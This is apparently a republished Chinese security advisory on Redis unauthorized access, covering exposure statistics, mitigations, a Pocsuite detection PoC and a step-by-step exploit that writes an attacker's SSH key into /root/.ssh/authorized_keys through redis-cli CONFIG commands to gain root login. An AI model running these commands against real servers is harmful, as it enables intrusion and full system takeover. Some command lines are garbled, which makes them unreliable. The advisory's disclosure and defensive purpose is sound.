Redis 未授權訪問缺陷可輕易導致系統被黑

Redis 未授權訪問缺陷可輕易導致系統被黑

漏洞概要

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啓認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。***者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞概述

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啓認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。***者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞描述

Redis 安全模型的觀念是: “請不要將Redis暴露在公開網絡中, 因爲讓不受信任的客戶接觸到Redis是非常危險的” 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因爲, 99.99%使用Redis的場景都是在沙盒化的環境中, 爲了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。

因爲其他受信任用戶需要使用Redis或者因爲運維人員的疏忽等原因,部分Redis綁定在0.0.0.0:6379,並且沒有開啓認證(這是Redis的默認配置),如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等,將會導致Redis服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用Redis自身的相關方法,可以進行寫文件操作,***者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞影響

Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啓相關認證和添加相關安全策略情況下可受影響而導致被利用。

通過ZoomEye 的搜索結果顯示,有97700在公網可以直接訪問的Redis服務。

根據 ZoomEye 最新於2015年11月12日0點探測結果顯示:

總的存在無驗證可直接利用 Redis 服務的目標全球有49099,其中中國有16477。其中被明着寫入crackit的,也就是已經被黑的比例分別是全球65%(3.1萬),中國67.5%(1.1萬)。

1.1.    漏洞分析與利用

首先在本地生產公私鑰文件:

Shell

1

$ssh-keygen –t rsa

然後將公鑰寫入foo.txt文件

Shell

1

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再連接Redis寫入文件

Shell

1

2

3

4

5

6

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK

$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK

$ 192.168.1.11:6379> saveOK

這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件裏,然後***者直接執行:

Shell

1

$ ssh –i  id_rsa root@192.168.1.11

即可遠程利用自己的私鑰登錄該服務器。

當然,寫入的目錄不限於/root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過Redis很多以root權限運行,所以寫入root目錄下,可以跳過猜用戶的步驟。

Redis 未授權的其他危害與利用

數據庫數據泄露

Redis 作爲數據庫,保存着各種各樣的數據,如果存在未授權訪問的情況,將會導致數據的泄露,其中包含保存的用戶信息等

代碼執行

Redis可以嵌套Lua腳本的特性將會導致代碼執行, 危害同其他服務器端的代碼執行, 樣例如下

一旦***者能夠在服務器端執行任意代碼, ***方式將會變得多且複雜, 這是非常危險的.

通過Lua代碼***者可以調用 redis.sha1hex() 函數,惡意利用 Redis 服務器進行 SHA-1 的破解。

敏感信息泄露

通過 Redis 的 INFO 命令, 可以查看服務器相關的參數和敏感信息, 爲***者的後續***做鋪墊

可以看到泄露了很多 Redis 服務器的信息, 有當前 Redis 版本, 內存運行狀態, 服務端個數等等敏感信息。

全球無驗證可直接利用 Redis 分佈情況

全球無驗證可直接利用 Redis TOP 10 國家與地區

漏洞 PoC


Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

#!/usr/bin/env python

# -*- coding:utf-8 -*-

import socket

import urlparse

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

    vulID = '89339'

    version = '1'

    author = ['Anonymous']

    vulDate = '2015-10-26'

    createDate = '2015-10-26'

    updateDate = '2015-10-26'

    references = ['http://sebug.net/vuldb/ssvid-89339']

    name = 'Redis 未授權訪問 PoC'

    appPowerLink = 'http://redis.io/'

    appName = 'Redis'

    appVersion = 'All'

    vulType = 'Unauthorized access'

    desc = '''

        redis 默認不需要密碼即可訪問,***直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。

    '''

    samples = ['']

    def _verify(self):

        result = {}

        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'

        s = socket.socket()

        socket.setdefaulttimeout(10)

        try:

            host = urlparse.urlparse(self.url).netloc

            port = 6379

            s.connect((host, port))

            s.send(payload)

            recvdata = s.recv(1024)

            if recvdata and 'redis_version' in recvdata:

                result['VerifyInfo'] = {}

                result['VerifyInfo']['URL'] = self.url

                result['VerifyInfo']['Port'] = port

        except:

            pass

        s.close()

        return self.parse_attack(result)

    def _attack(self):

        return self._verify()

    def parse_attack(self, result):

        output = Output(self)

        if result:

            output.success(result)

        else:

            output.fail('Internet nothing returned')

        return output

register(TestPOC)


解決方案

臨時解決方案

  1. 配置bind選項, 限定可以連接Redis服務器的IP, 並修改redis的默認端口6379.

  2. 配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.

  3. 配置rename-command CONFIG “RENAME_CONFIG”, 這樣即使存在未授權訪問, 也能夠給***者使用config指令加大難度

  4. 好消息是Redis作者表示將會開發”real user”,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如config

官方解決方案

暫無官方解決方案

推薦防護方案

暫無防護方案


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章